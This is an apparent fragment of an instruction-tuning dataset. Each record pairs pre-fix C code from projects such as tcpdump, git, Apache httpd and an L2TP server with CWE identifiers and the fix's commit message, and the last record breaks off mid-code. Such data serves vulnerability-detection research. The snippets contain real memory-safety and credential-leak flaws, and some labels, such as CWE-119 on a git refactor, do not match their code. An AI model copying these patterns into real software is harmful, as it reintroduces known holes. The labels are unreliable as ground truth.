+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: icmp_print(netdissect_options *ndo, const u_char *bp, u_int plen, const u_char *bp2,\n           int fragmented)\n{\n\tchar *cp;\n\tconst struct icmp *dp;\n        const struct icmp_ext_t *ext_dp;\n\tconst struct ip *ip;\n\tconst char *str, *fmt;\n\tconst struct ip *oip;\n\tconst struct udphdr *ouh;\n        const uint8_t *obj_tptr;\n        uint32_t raw_label;\n        const u_char *snapend_save;\n\tconst struct icmp_mpls_ext_object_header_t *icmp_mpls_ext_object_header;\n\tu_int hlen, dport, mtu, obj_tlen, obj_class_num, obj_ctype;\n\tchar buf[MAXHOSTNAMELEN + 100];\n\tstruct cksum_vec vec[1];\n\n\tdp = (const struct icmp *)bp;\n        ext_dp = (const struct icmp_ext_t *)bp;\n\tip = (const struct ip *)bp2;\n\tstr = buf;\n\n\tND_TCHECK(dp->icmp_code);\n\tswitch (dp->icmp_type) {\n\n\tcase ICMP_ECHO:\n\tcase ICMP_ECHOREPLY:\n\t\tND_TCHECK(dp->icmp_seq);\n\t\t(void)snprintf(buf, sizeof(buf), \"echo %s, id %u, seq %u\",\n                               dp->icmp_type == ICMP_ECHO ?\n                               \"request\" : \"reply\",\n                               EXTRACT_16BITS(&dp->icmp_id),\n                               EXTRACT_16BITS(&dp->icmp_seq));\n\t\tbreak;\n\n\tcase ICMP_UNREACH:\n\t\tND_TCHECK(dp->icmp_ip.ip_dst);\n\t\tswitch (dp->icmp_code) {\n\n\t\tcase ICMP_UNREACH_PROTOCOL:\n\t\t\tND_TCHECK(dp->icmp_ip.ip_p);\n\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t    \"%s protocol %d unreachable\",\n\t\t\t    ipaddr_string(ndo, &dp->icmp_ip.ip_dst),\n\t\t\t    dp->icmp_ip.ip_p);\n\t\t\tbreak;\n\n\t\tcase ICMP_UNREACH_PORT:\n\t\t\tND_TCHECK(dp->icmp_ip.ip_p);\n\t\t\toip = &dp->icmp_ip;\n\t\t\thlen = IP_HL(oip) * 4;\n\t\t\touh = (const struct udphdr *)(((const u_char *)oip) + hlen);\n\t\t\tND_TCHECK(ouh->uh_dport);\n\t\t\tdport = EXTRACT_16BITS(&ouh->uh_dport);\n\t\t\tswitch (oip->ip_p) {\n\n\t\t\tcase IPPROTO_TCP:\n\t\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t\t\t\"%s tcp port %s unreachable\",\n\t\t\t\t\tipaddr_string(ndo, &oip->ip_dst),\n\t\t\t\t\ttcpport_string(ndo, dport));\n\t\t\t\tbreak;\n\n\t\t\tcase IPPROTO_UDP:\n\t\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t\t\t\"%s udp port %s unreachable\",\n\t\t\t\t\tipaddr_string(ndo, &oip->ip_dst),\n\t\t\t\t\tudpport_string(ndo, dport));\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t\t\t\"%s protocol %d port %d unreachable\",\n\t\t\t\t\tipaddr_string(ndo, &oip->ip_dst),\n\t\t\t\t\toip->ip_p, dport);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ICMP_UNREACH_NEEDFRAG:\n\t\t    {\n\t\t\tregister const struct mtu_discovery *mp;\n\t\t\tmp = (const struct mtu_discovery *)(const u_char *)&dp->icmp_void;\n\t\t\tmtu = EXTRACT_16BITS(&mp->nexthopmtu);\n\t\t\tif (mtu) {\n\t\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t\t    \"%s unreachable - need to frag (mtu %d)\",\n\t\t\t\t    ipaddr_string(ndo, &dp->icmp_ip.ip_dst), mtu);\n\t\t\t} else {\n\t\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t\t    \"%s unreachable - need to frag\",\n\t\t\t\t    ipaddr_string(ndo, &dp->icmp_ip.ip_dst));\n\t\t\t}\n\t\t    }\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tfmt = tok2str(unreach2str, \"#%d %%s unreachable\",\n\t\t\t    dp->icmp_code);\n\t\t\t(void)snprintf(buf, sizeof(buf), fmt,\n\t\t\t    ipaddr_string(ndo, &dp->icmp_ip.ip_dst));\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\n\tcase ICMP_REDIRECT:\n\t\tND_TCHECK(dp->icmp_ip.ip_dst);\n\t\tfmt = tok2str(type2str, \"redirect-#%d %%s to net %%s\",\n\t\t    dp->icmp_code);\n\t\t(void)snprintf(buf, sizeof(buf), fmt,\n\t\t    ipaddr_string(ndo, &dp->icmp_ip.ip_dst),\n\t\t    ipaddr_string(ndo, &dp->icmp_gwaddr));\n\t\tbreak;\n\n\tcase ICMP_ROUTERADVERT:\n\t    {\n\t\tregister const struct ih_rdiscovery *ihp;\n\t\tregister const struct id_rdiscovery *idp;\n\t\tu_int lifetime, num, size;\n\n\t\t(void)snprintf(buf, sizeof(buf), \"router advertisement\");\n\t\tcp = buf + strlen(buf);\n\n\t\tihp = (const struct ih_rdiscovery *)&dp->icmp_void;\n\t\tND_TCHECK(*ihp);\n\t\t(void)strncpy(cp, \" lifetime \", sizeof(buf) - (cp - buf));\n\t\tcp = buf + strlen(buf);\n\t\tlifetime = EXTRACT_16BITS(&ihp->ird_lifetime);\n\t\tif (lifetime < 60) {\n\t\t\t(void)snprintf(cp, sizeof(buf) - (cp - buf), \"%u\",\n\t\t\t    lifetime);\n\t\t} else if (lifetime < 60 * 60) {\n\t\t\t(void)snprintf(cp, sizeof(buf) - (cp - buf), \"%u:%02u\",\n\t\t\t    lifetime / 60, lifetime % 60);\n\t\t} else {\n\t\t\t(void)snprintf(cp, sizeof(buf) - (cp - buf),\n\t\t\t    \"%u:%02u:%02u\",\n\t\t\t    lifetime / 3600,\n\t\t\t    (lifetime % 3600) / 60,\n\t\t\t    lifetime % 60);\n\t\t}\n\t\tcp = buf + strlen(buf);\n\n\t\tnum = ihp->ird_addrnum;\n\t\t(void)snprintf(cp, sizeof(buf) - (cp - buf), \" %d:\", num);\n\t\tcp = buf + strlen(buf);\n\n\t\tsize = ihp->ird_addrsiz;\n\t\tif (size != 2) {\n\t\t\t(void)snprintf(cp, sizeof(buf) - (cp - buf),\n\t\t\t    \" [size %d]\", size);\n\t\t\tbreak;\n\t\t}\n\t\tidp = (const struct id_rdiscovery *)&dp->icmp_data;\n\t\twhile (num-- > 0) {\n\t\t\tND_TCHECK(*idp);\n\t\t\t(void)snprintf(cp, sizeof(buf) - (cp - buf), \" {%s %u}\",\n\t\t\t    ipaddr_string(ndo, &idp->ird_addr),\n\t\t\t    EXTRACT_32BITS(&idp->ird_pref));\n\t\t\tcp = buf + strlen(buf);\n\t\t\t++idp;\n\t\t}\n\t    }\n\t\tbreak;\n\n\tcase ICMP_TIMXCEED:\n\t\tND_TCHECK(dp->icmp_ip.ip_dst);\n\t\tswitch (dp->icmp_code) {\n\n\t\tcase ICMP_TIMXCEED_INTRANS:\n\t\t\tstr = \"time exceeded in-transit\";\n\t\t\tbreak;\n\n\t\tcase ICMP_TIMXCEED_REASS:\n\t\t\tstr = \"ip reassembly time exceeded\";\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\t(void)snprintf(buf, sizeof(buf), \"time exceeded-#%d\",\n\t\t\t    dp->icmp_code);\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\n\tcase ICMP_PARAMPROB:\n\t\tif (dp->icmp_code)\n\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t    \"parameter problem - code %d\", dp->icmp_code);\n\t\telse {\n\t\t\tND_TCHECK(dp->icmp_pptr);\n\t\t\t(void)snprintf(buf, sizeof(buf),\n\t\t\t    \"parameter problem - octet %d\", dp->icmp_pptr);\n\t\t}\n\t\tbreak;\n\n\tcase ICMP_MASKREPLY:\n\t\tND_TCHECK(dp->icmp_mask);\n\t\t(void)snprintf(buf, sizeof(buf), \"address mask is 0x%08x\",\n\t\t    EXTRACT_32BITS(&dp->icmp_mask));\n\t\tbreak;\n\n\tcase ICMP_TSTAMP:\n\t\tND_TCHECK(dp->icmp_seq);\n\t\t(void)snprintf(buf, sizeof(buf),\n\t\t    \"time stamp query id %u seq %u\",\n\t\t    EXTRACT_16BITS(&dp->icmp_id),\n\t\t    EXTRACT_16BITS(&dp->icmp_seq));\n\t\tbreak;\n\n\tcase ICMP_TSTAMPREPLY:\n\t\tND_TCHECK(dp->icmp_ttime);\n\t\t(void)snprintf(buf, sizeof(buf),\n\t\t    \"time stamp reply id %u seq %u: org %s\",\n                               EXTRACT_16BITS(&dp->icmp_id),\n                               EXTRACT_16BITS(&dp->icmp_seq),\n                               icmp_tstamp_print(EXTRACT_32BITS(&dp->icmp_otime)));\n\n                (void)snprintf(buf+strlen(buf),sizeof(buf)-strlen(buf),\", recv %s\",\n                         icmp_tstamp_print(EXTRACT_32BITS(&dp->icmp_rtime)));\n                (void)snprintf(buf+strlen(buf),sizeof(buf)-strlen(buf),\", xmit %s\",\n                         icmp_tstamp_print(EXTRACT_32BITS(&dp->icmp_ttime)));\n                break;\n\n\tdefault:\n\t\tstr = tok2str(icmp2str, \"type-#%d\", dp->icmp_type);\n\t\tbreak;\n\t}\n\tND_PRINT((ndo, \"ICMP %s, length %u\", str, plen));\n\tif (ndo->ndo_vflag && !fragmented) { /* don't attempt checksumming if this is a frag */\n\t\tuint16_t sum, icmp_sum;\n\n\t\tif (ND_TTEST2(*bp, plen)) {\n\t\t\tvec[0].ptr = (const uint8_t *)(const void *)dp;\n\t\t\tvec[0].len = plen;\n\t\t\tsum = in_cksum(vec, 1);\n\t\t\tif (sum != 0) {\n\t\t\t\ticmp_sum = EXTRACT_16BITS(&dp->icmp_cksum);\n\t\t\t\tND_PRINT((ndo, \" (wrong icmp cksum %x (->%x)!)\",\n\t\t\t\t\t     icmp_sum,\n\t\t\t\t\t     in_cksum_shouldbe(icmp_sum, sum)));\n\t\t\t}\n\t\t}\n\t}\n\n        /*\n         * print the remnants of the IP packet.\n         * save the snaplength as this may get overidden in the IP printer.\n         */\n\tif (ndo->ndo_vflag >= 1 && ICMP_ERRTYPE(dp->icmp_type)) {\n\t\tbp += 8;\n\t\tND_PRINT((ndo, \"\\n\\t\"));\n\t\tip = (const struct ip *)bp;\n                snapend_save = ndo->ndo_snapend;\n\t\tip_print(ndo, bp, EXTRACT_16BITS(&ip->ip_len));\n                ndo->ndo_snapend = snapend_save;\n\t}\n\n        /*\n         * Attempt to decode the MPLS extensions only for some ICMP types.\n         */\n        if (ndo->ndo_vflag >= 1 && plen > ICMP_EXTD_MINLEN && ICMP_MPLS_EXT_TYPE(dp->icmp_type)) {\n\n            ND_TCHECK(*ext_dp);\n\n            /*\n             * Check first if the mpls extension header shows a non-zero length.\n             * If the length field is not set then silently verify the checksum\n             * to check if an extension header is present. This is expedient,\n             * however not all implementations set the length field proper.\n             */\n            if (!ext_dp->icmp_length &&\n                ND_TTEST2(ext_dp->icmp_ext_version_res, plen - ICMP_EXTD_MINLEN)) {\n                vec[0].ptr = (const uint8_t *)(const void *)&ext_dp->icmp_ext_version_res;\n                vec[0].len = plen - ICMP_EXTD_MINLEN;\n                if (in_cksum(vec, 1)) {\n                    return;\n                }\n            }\n\n            ND_PRINT((ndo, \"\\n\\tMPLS extension v%u\",\n                   ICMP_MPLS_EXT_EXTRACT_VERSION(*(ext_dp->icmp_ext_version_res))));\n\n            /*\n             * Sanity checking of the header.\n             */\n            if (ICMP_MPLS_EXT_EXTRACT_VERSION(*(ext_dp->icmp_ext_version_res)) !=\n                ICMP_MPLS_EXT_VERSION) {\n                ND_PRINT((ndo, \" packet not supported\"));\n                return;\n            }\n\n            hlen = plen - ICMP_EXTD_MINLEN;\n            if (ND_TTEST2(ext_dp->icmp_ext_version_res, hlen)) {\n                vec[0].ptr = (const uint8_t *)(const void *)&ext_dp->icmp_ext_version_res;\n                vec[0].len = hlen;\n                ND_PRINT((ndo, \", checksum 0x%04x (%scorrect), length %u\",\n                       EXTRACT_16BITS(ext_dp->icmp_ext_checksum),\n                       in_cksum(vec, 1) ? \"in\" : \"\",\n                       hlen));\n            }\n\n            hlen -= 4; /* subtract common header size */\n            obj_tptr = (const uint8_t *)ext_dp->icmp_ext_data;\n\n            while (hlen > sizeof(struct icmp_mpls_ext_object_header_t)) {\n\n                icmp_mpls_ext_object_header = (const struct icmp_mpls_ext_object_header_t *)obj_tptr;\n                ND_TCHECK(*icmp_mpls_ext_object_header);\n                obj_tlen = EXTRACT_16BITS(icmp_mpls_ext_object_header->length);\n                obj_class_num = icmp_mpls_ext_object_header->class_num;\n                obj_ctype = icmp_mpls_ext_object_header->ctype;\n                obj_tptr += sizeof(struct icmp_mpls_ext_object_header_t);\n\n                ND_PRINT((ndo, \"\\n\\t  %s Object (%u), Class-Type: %u, length %u\",\n                       tok2str(icmp_mpls_ext_obj_values,\"unknown\",obj_class_num),\n                       obj_class_num,\n                       obj_ctype,\n                       obj_tlen));\n\n                hlen-=sizeof(struct icmp_mpls_ext_object_header_t); /* length field includes tlv header */\n\n                /* infinite loop protection */\n                if ((obj_class_num == 0) ||\n                    (obj_tlen < sizeof(struct icmp_mpls_ext_object_header_t))) {\n                    return;\n                }\n                obj_tlen-=sizeof(struct icmp_mpls_ext_object_header_t);\n\n                switch (obj_class_num) {\n                case 1:\n                    switch(obj_ctype) {\n                    case 1:\n                        ND_TCHECK2(*obj_tptr, 4);\n                        raw_label = EXTRACT_32BITS(obj_tptr);\n                        ND_PRINT((ndo, \"\\n\\t    label %u, exp %u\", MPLS_LABEL(raw_label), MPLS_EXP(raw_label)));\n                        if (MPLS_STACK(raw_label))\n                            ND_PRINT((ndo, \", [S]\"));\n                        ND_PRINT((ndo, \", ttl %u\", MPLS_TTL(raw_label)));\n                        break;\n                    default:\n                        print_unknown_data(ndo, obj_tptr, \"\\n\\t    \", obj_tlen);\n                    }\n                    break;\n\n               /*\n                *  FIXME those are the defined objects that lack a decoder\n                *  you are welcome to contribute code ;-)\n                */\n                case 2:\n                default:\n                    print_unknown_data(ndo, obj_tptr, \"\\n\\t    \", obj_tlen);\n                    break;\n                }\n                if (hlen < obj_tlen)\n                    break;\n                hlen -= obj_tlen;\n                obj_tptr += obj_tlen;\n            }\n        }\n\n\treturn;\ntrunc:\n\tND_PRINT((ndo, \"[|icmp]\"));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13012/ICMP: Add a missing bounds check.\n\nCheck before fetching the length from the included packet's IPv4 header.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd a test using the capture file supplied by the reporter(s), modified\nso the capture file won't be rejected as an invalid capture.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void show_object(struct object *object, struct strbuf *path,\n\t\t\tconst char *last, void *data)\n{\n\tstruct bitmap *base = data;\n\tbitmap_set(base, find_object_pos(object->oid.hash));\n\tmark_as_seen(object);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'list-objects: pass full pathname to callbacks\n\nWhen we find a blob at \"a/b/c\", we currently pass this to\nour show_object_fn callbacks as two components: \"a/b/\" and\n\"c\". Callbacks which want the full value then call\npath_name(), which concatenates the two. But this is an\ninefficient interface; the path is a strbuf, and we could\nsimply append \"c\" to it temporarily, then roll back the\nlength, without creating a new copy.\n\nSo we could improve this by teaching the callsites of\npath_name() this trick (and there are only 3). But we can\nalso notice that no callback actually cares about the\nbroken-down representation, and simply pass each callback\nthe full path \"a/b/c\" as a string. The callback code becomes\neven simpler, then, as we do not have to worry about freeing\nan allocated buffer, nor rolling back our modification to\nthe strbuf.\n\nThis is theoretically less efficient, as some callbacks\nwould not bother to format the final path component. But in\npractice this is not measurable. Since we use the same\nstrbuf over and over, our work to grow it is amortized, and\nwe really only pay to memcpy a few bytes.\n\nSigned-off-by: Jeff King \nSigned-off-by: Junio C Hamano '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void show_object(struct object *obj,\n\t\t\tstruct strbuf *path, const char *component,\n\t\t\tvoid *cb_data)\n{\n\tstruct rev_list_info *info = cb_data;\n\tfinish_object(obj, path, component, cb_data);\n\tif (info->flags & REV_LIST_QUIET)\n\t\treturn;\n\tshow_object_with_name(stdout, obj, path, component);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'list-objects: pass full pathname to callbacks\n\nWhen we find a blob at \"a/b/c\", we currently pass this to\nour show_object_fn callbacks as two components: \"a/b/\" and\n\"c\". Callbacks which want the full value then call\npath_name(), which concatenates the two. But this is an\ninefficient interface; the path is a strbuf, and we could\nsimply append \"c\" to it temporarily, then roll back the\nlength, without creating a new copy.\n\nSo we could improve this by teaching the callsites of\npath_name() this trick (and there are only 3). But we can\nalso notice that no callback actually cares about the\nbroken-down representation, and simply pass each callback\nthe full path \"a/b/c\" as a string. The callback code becomes\neven simpler, then, as we do not have to worry about freeing\nan allocated buffer, nor rolling back our modification to\nthe strbuf.\n\nThis is theoretically less efficient, as some callbacks\nwould not bother to format the final path component. But in\npractice this is not measurable. Since we use the same\nstrbuf over and over, our work to grow it is amortized, and\nwe really only pay to memcpy a few bytes.\n\nSigned-off-by: Jeff King \nSigned-off-by: Junio C Hamano '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int credential_from_url_gently(struct credential *c, const char *url,\n\t\t\t       int quiet)\n{\n\tconst char *at, *colon, *cp, *slash, *host, *proto_end;\n\n\tcredential_clear(c);\n\n\t/*\n\t * Match one of:\n\t *   (1) proto:///...\n\t *   (2) proto://@/...\n\t *   (3) proto://:@/...\n\t */\n\tproto_end = strstr(url, \"://\");\n\tif (!proto_end)\n\t\treturn 0;\n\tcp = proto_end + 3;\n\tat = strchr(cp, '@');\n\tcolon = strchr(cp, ':');\n\tslash = strchrnul(cp, '/');\n\n\tif (!at || slash <= at) {\n\t\t/* Case (1) */\n\t\thost = cp;\n\t}\n\telse if (!colon || at <= colon) {\n\t\t/* Case (2) */\n\t\tc->username = url_decode_mem(cp, at - cp);\n\t\thost = at + 1;\n\t} else {\n\t\t/* Case (3) */\n\t\tc->username = url_decode_mem(cp, colon - cp);\n\t\tc->password = url_decode_mem(colon + 1, at - (colon + 1));\n\t\thost = at + 1;\n\t}\n\n\tif (proto_end - url > 0)\n\t\tc->protocol = xmemdupz(url, proto_end - url);\n\tc->host = url_decode_mem(host, slash - host);\n\t/* Trim leading and trailing slashes from path */\n\twhile (*slash == '/')\n\t\tslash++;\n\tif (*slash) {\n\t\tchar *p;\n\t\tc->path = url_decode(slash);\n\t\tp = c->path + strlen(c->path) - 1;\n\t\twhile (p > c->path && *p == '/')\n\t\t\t*p-- = '\\0';\n\t}\n\n\tif (check_url_component(url, quiet, \"username\", c->username) < 0 ||\n\t    check_url_component(url, quiet, \"password\", c->password) < 0 ||\n\t    check_url_component(url, quiet, \"protocol\", c->protocol) < 0 ||\n\t    check_url_component(url, quiet, \"host\", c->host) < 0 ||\n\t    check_url_component(url, quiet, \"path\", c->path) < 0)\n\t\treturn -1;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-522'], 'message': 'credential: treat URL without scheme as invalid\n\nlibcurl permits making requests without a URL scheme specified.  In\nthis case, it guesses the URL from the hostname, so I can run\n\n\tgit ls-remote http::ftp.example.com/path/to/repo\n\nand it would make an FTP request.\n\nAny user intentionally using such a URL is likely to have made a typo.\nUnfortunately, credential_from_url is not able to determine the host and\nprotocol in order to determine appropriate credentials to send, and\nuntil \"credential: refuse to operate when missing host or protocol\",\nthis resulted in another host's credentials being leaked to the named\nhost.\n\nTeach credential_from_url_gently to consider such a URL to be invalid\nso that fsck can detect and block gitmodules files with such URLs,\nallowing server operators to avoid serving them to downstream users\nrunning older versions of Git.\n\nThis also means that when such URLs are passed on the command line, Git\nwill print a clearer error so affected users can switch to the simpler\nURL that explicitly specifies the host and protocol they intend.\n\nOne subtlety: .gitmodules files can contain relative URLs, representing\na URL relative to the URL they were cloned from.  The relative URL\nresolver used for .gitmodules can follow \"..\" components out of the path\npart and past the host part of a URL, meaning that such a relative URL\ncan be used to traverse from a https://foo.example.com/innocent\nsuperproject to a https::attacker.example.com/exploit submodule.\nFortunately a leading ':' in the first path component after a series of\nleading './' and '../' components is unlikely to show up in other\ncontexts, so we can catch this by detecting that pattern.\n\nReported-by: Jeff King \nSigned-off-by: Jonathan Nieder \nReviewed-by: Jeff King '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static apr_status_t parse_chunk_size(http_ctx_t *ctx, const char *buffer,\n        apr_size_t len, int linelimit)\n{\n    apr_size_t i = 0;\n\n    while (i < len) {\n        char c = buffer[i];\n\n        ap_xlate_proto_from_ascii(&c, 1);\n\n        /* handle CRLF after the chunk */\n        if (ctx->state == BODY_CHUNK_END) {\n            if (c == LF) {\n                ctx->state = BODY_CHUNK;\n            }\n            i++;\n            continue;\n        }\n\n        /* handle start of the chunk */\n        if (ctx->state == BODY_CHUNK) {\n            if (!apr_isxdigit(c)) {\n                /*\n                 * Detect invalid character at beginning. This also works for empty\n                 * chunk size lines.\n                 */\n                return APR_EGENERAL;\n            }\n            else {\n                ctx->state = BODY_CHUNK_PART;\n            }\n            ctx->remaining = 0;\n            ctx->chunkbits = sizeof(long) * 8;\n            ctx->chunk_used = 0;\n        }\n\n        /* handle a chunk part, or a chunk extension */\n        /*\n         * In theory, we are supposed to expect CRLF only, but our\n         * test suite sends LF only. Tolerate a missing CR.\n         */\n        if (c == ';' || c == CR) {\n            ctx->state = BODY_CHUNK_EXT;\n        }\n        else if (c == LF) {\n            if (ctx->remaining) {\n                ctx->state = BODY_CHUNK_DATA;\n            }\n            else {\n                ctx->state = BODY_CHUNK_TRAILER;\n            }\n        }\n        else if (ctx->state != BODY_CHUNK_EXT) {\n            int xvalue = 0;\n\n            /* ignore leading zeros */\n            if (!ctx->remaining && c == '0') {\n                i++;\n                continue;\n            }\n\n            if (c >= '0' && c <= '9') {\n                xvalue = c - '0';\n            }\n            else if (c >= 'A' && c <= 'F') {\n                xvalue = c - 'A' + 0xa;\n            }\n            else if (c >= 'a' && c <= 'f') {\n                xvalue = c - 'a' + 0xa;\n            }\n            else {\n                /* bogus character */\n                return APR_EGENERAL;\n            }\n\n            ctx->remaining = (ctx->remaining << 4) | xvalue;\n            ctx->chunkbits -= 4;\n            if (ctx->chunkbits <= 0 || ctx->remaining < 0) {\n                /* overflow */\n                return APR_ENOSPC;\n            }\n\n        }\n\n        i++;\n    }\n\n    /* sanity check */\n    ctx->chunk_used += len;\n    if (ctx->chunk_used < 0 || ctx->chunk_used > linelimit) {\n        return APR_ENOSPC;\n    }\n\n    return APR_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Limit accepted chunk-size to 2^63-1 and be strict about chunk-ext\nauthorized characters.\n\nSubmitted by: Yann Ylavic\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1684513 13f79535-47bb-0310-9956-ffa450edef68'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int l2tp_packet_send(int sock, struct l2tp_packet_t *pack)\n{\n\tuint8_t *buf = mempool_alloc(buf_pool);\n\tstruct l2tp_avp_t *avp;\n\tstruct l2tp_attr_t *attr;\n\tuint8_t *ptr;\n\tint n;\n\tint len = sizeof(pack->hdr);\n\n\tif (!buf) {\n\t\tlog_emerg(\"l2tp: out of memory\\n\");\n\t\treturn -1;\n\t}\n\n\tmemset(buf, 0, L2TP_MAX_PACKET_SIZE);\n\n\tptr = buf + sizeof(pack->hdr);\n\n\tlist_for_each_entry(attr, &pack->attrs, entry) {\n\t\tif (len + sizeof(*avp) + attr->length >= L2TP_MAX_PACKET_SIZE) {\n\t\t\tlog_error(\"l2tp: cann't send packet (exceeds maximum size)\\n\");\n\t\t\tmempool_free(buf);\n\t\t\treturn -1;\n\t\t}\n\t\tavp = (struct l2tp_avp_t *)ptr;\n\t\tavp->type = htons(attr->attr->id);\n\t\tavp->M = attr->M;\n\t\tavp->H = attr->H;\n\t\tavp->length = sizeof(*avp) + attr->length;\n\t\t*(uint16_t *)ptr = htons(*(uint16_t *)ptr);\n\t\tif (attr->H)\n\t\t\tmemcpy(avp->val, attr->val.octets, attr->length);\n\t\telse\n\t\t\tswitch (attr->attr->type) {\n\t\t\tcase ATTR_TYPE_INT16:\n\t\t\t\t*(int16_t *)avp->val = htons(attr->val.int16);\n\t\t\t\tbreak;\n\t\t\tcase ATTR_TYPE_INT32:\n\t\t\t\t*(int32_t *)avp->val = htonl(attr->val.int32);\n\t\t\t\tbreak;\n\t\t\tcase ATTR_TYPE_INT64:\n\t\t\t\t*(uint64_t *)avp->val = htobe64(attr->val.uint64);\n\t\t\t\tbreak;\n\t\t\tcase ATTR_TYPE_STRING:\n\t\t\tcase ATTR_TYPE_OCTETS:\n\t\t\t\tmemcpy(avp->val, attr->val.string, attr->length);\n\t\t\t\tbreak;\n\t\t\t}\n\t\tptr += sizeof(*avp) + attr->length;\n\t\tlen += sizeof(*avp) + attr->length;\n\t}\n\n\tpack->hdr.length = htons(len);\n\tmemcpy(buf, &pack->hdr, sizeof(pack->hdr));\n\n\tn = sendto(sock, buf, ntohs(pack->hdr.length), 0,\n\t\t   &pack->addr, sizeof(pack->addr));\n\tmempool_free(buf);\n\n\tif (n < 0) {\n\t\tif (errno == EAGAIN) {\n\t\t\tif (conf_verbose)\n\t\t\t\tlog_warn(\"l2tp: buffer overflow (packet lost)\\n\");\n\t\t} else {\n\t\t\tif (conf_verbose)\n\t\t\t\tlog_warn(\"l2tp: sendto: %s\\n\", strerror(errno));\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\tif (n != ntohs(pack->hdr.length)) {\n\t\tif (conf_verbose)\n\t\t\tlog_warn(\"l2tp: short write (%i/%i)\\n\", n, ntohs(pack->hdr.length));\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-125', 'CWE-120'], 'message': 'l2tp: fix RCE through buffer overflow & fix LE/BE compatibility\n\nUnsufficent checks of valid l2tp header & avp length cause possible\nRCE through buffer overflow, reported by https://github.com/WinMin\nswings & leommxj, Chaitin Security Research Lab. Add missed header\nlength and avp length validation to fix the issue.\n\nOrder of struct bitfields is implementation-defined so current code\ndoesn't play well with big-endian arch. switch to explicit flag bit\nchecking/gathering to fix the issue.\n\nRFC 2661 and 3931 requires that length, seqeuence flags must be set\nand offset flag must not be set, so avp-premissive can't help in\nthis cases.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void swoole_serialize_arr(seriaString *buffer, zend_array *zvalue)\n{\n    zval *data;\n    zend_string *key;\n    zend_ulong index;\n    swPoolstr *swStr = NULL;\n    zend_uchar is_pack = zvalue->u.flags & HASH_FLAG_PACKED;\n\n    ZEND_HASH_FOREACH_KEY_VAL(zvalue, index, key, data)\n    {\n        SBucketType type = {0};\n        type.data_type = Z_TYPE_P(data);\n        //start point\n        size_t p = buffer->offset;\n\n        if (is_pack && zvalue->nNextFreeElement == zvalue->nNumOfElements)\n        {\n            type.key_type = KEY_TYPE_INDEX;\n            type.key_len = 0;\n            SERIA_SET_ENTRY_TYPE(buffer, type);\n        }\n        else\n        {\n            //seria key\n            if (key)\n            {\n                type.key_type = KEY_TYPE_STRING;\n                if ((swStr = swoole_mini_filter_find(key)))\n                {\n                    type.key_len = 3; //means use same string\n                    SERIA_SET_ENTRY_TYPE(buffer, type);\n                    if (swStr->offset & 4)\n                    {\n                        SERIA_SET_ENTRY_SIZE4(buffer, swStr->offset);\n                    }\n                    else\n                    {\n                        SERIA_SET_ENTRY_SHORT(buffer, swStr->offset);\n                    }\n                }\n                else\n                {\n                    if (key->len <= 0xff)\n                    {\n                        type.key_len = 1;\n                        SERIA_SET_ENTRY_TYPE(buffer, type);\n                        swoole_mini_filter_add(key, buffer->offset, 1);\n                        SERIA_SET_ENTRY_TYPE(buffer, key->len);\n                        swoole_string_cpy(buffer, key->val, key->len);\n                    }\n                    else if (key->len <= 0xffff)\n                    {//if more than this  don't need optimize\n                        type.key_len = 2;\n                        SERIA_SET_ENTRY_TYPE(buffer, type);\n                        swoole_mini_filter_add(key, buffer->offset, 2);\n                        